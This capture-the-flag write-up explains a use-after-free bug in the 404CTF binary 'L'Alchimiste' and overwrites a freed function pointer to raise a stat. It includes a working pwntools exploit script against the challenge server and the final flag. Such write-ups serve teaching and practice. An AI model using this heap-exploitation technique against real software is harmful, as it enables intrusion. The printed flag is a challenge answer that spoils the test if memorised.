L’Alchimiste
For this challenge, we are given this executable. We can open it on Ghidra and/or run it to understand how it works.
Recognition
As we can see, we have multiple options. I first tried to buy a strength potion and to use it multiple time:
As we can see, we have a double free error. This is because, when we use the strength potion, we call the useItem function that does the following:
As we can see, we free the memory at the location of param_1+0x10. If we look at the character creation, we can see that it is the address of the function located after the initial parameter:
param1is the strength,param2is the intelligence and param3 is the gold.
To better understand why this is a function, we can look at the buyStrUpPotion function:
Increase Strength
As we can see, we set puVar1 some values and the last value of puVar1 is the function incStr that increase the strength by 10. We can also notice that the function incStr is set even if we don’t have enough money to buy the strength potion. So we can use repeatedly the option 1 to buy the potion and then use the option with the option 2. This will allow us to get any amount of strength we want:
As we can see, we now have 230 of strength. Let’s have a look at how to get the flag… This is what we are here fore XD:
How to get the flag
As we cans see, we need *param_1 >= 0x96 and param[1] >= 0x96 where 0x96 is equal to 150 in decimal and those parameters are the strength and the intelligence as we saw earlier.
Note that
*param<=>param_1[0].
We have solved the problem of the strength, but what about the intelligence??? There is no function in the program that calls the incInt to do the same thing as for the strength…
Increase Intelligence
After a bit of digging, I found something called use after free. As we saw earlier, the memory is free when we call the useItem function, but the memory is not set as null before. This is great, at least for us XD.
We now can try to override the address of the function incStr with the address of incInt after the free of the useItem. If we manage to do so, the address of incInt will be at the same memory location than the previous incStr. Then the call of useItem will think that it is calling the incStr but it will be calling incInt.
Let’s see how to this now. For that we need to head back to the buyStrPotion. This function will set the address of the incStr function int puVar1[8] but if we look at the assembly code, we can see that it is at the position +0x40.
We can then try to override the first 64 (0x40) characters and then put the address of incInt that can be found in Ghidra. But for this to work, we need to call the option 3 that will do a malloc on the same memory location that was previously free with option 2.
POC
The final code I used is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
#io = process("./l_alchimiste")
HOST, PORT = "challenges.404ctf.fr", 30944
io = remote(HOST, PORT)
def getStrength():
io.recvuntil(">>> ")
io.sendline("2")
io.recvuntil(">>> ")
io.sendline("1")
def checkStrength():
io.recvuntil(">>> ")
io.sendline("4")
text = io.recvuntil("1:")
print(text)
if b"FOR: 160" in text:
return 1
else:
return 0
def setInteligence():
io.recvuntil(">>> ")
io.sendline("2")
io.recvuntil(">>> ")
io.sendline("3")
io.recvuntil("[Vous] : ")
io.sendline(b"a"*0x40+p64(0x004008d5))
io.recvuntil(">>> ")
io.sendline("1")
def checkInteligence():
io.recvuntil(">>> ")
io.sendline("4")
text = io.recvuntil("1:")
print(text)
if b"INT: 160" in text:
return 1
else:
return 0
io.recvuntil(">>> ")
io.sendline("1")
okStr = 0
while okStr != 1:
getStrength()
okStr = checkStrength()
okInt = 0
while okInt != 1:
okInt = checkInteligence()
setInteligence()
io.recvuntil(">>> ")
io.sendline("5")
print(io.recvline().decode())
print(io.recvline().decode())
print("Flag: ", io.recvline().decode())
If we run it locally, we get:
As we can see, we get the test flag we created. We can now run it on the remote host and get the flag:
The flag is 404CTF{P0UrQU01_P4Y3r_QU4ND_135_M075_5UFF153N7}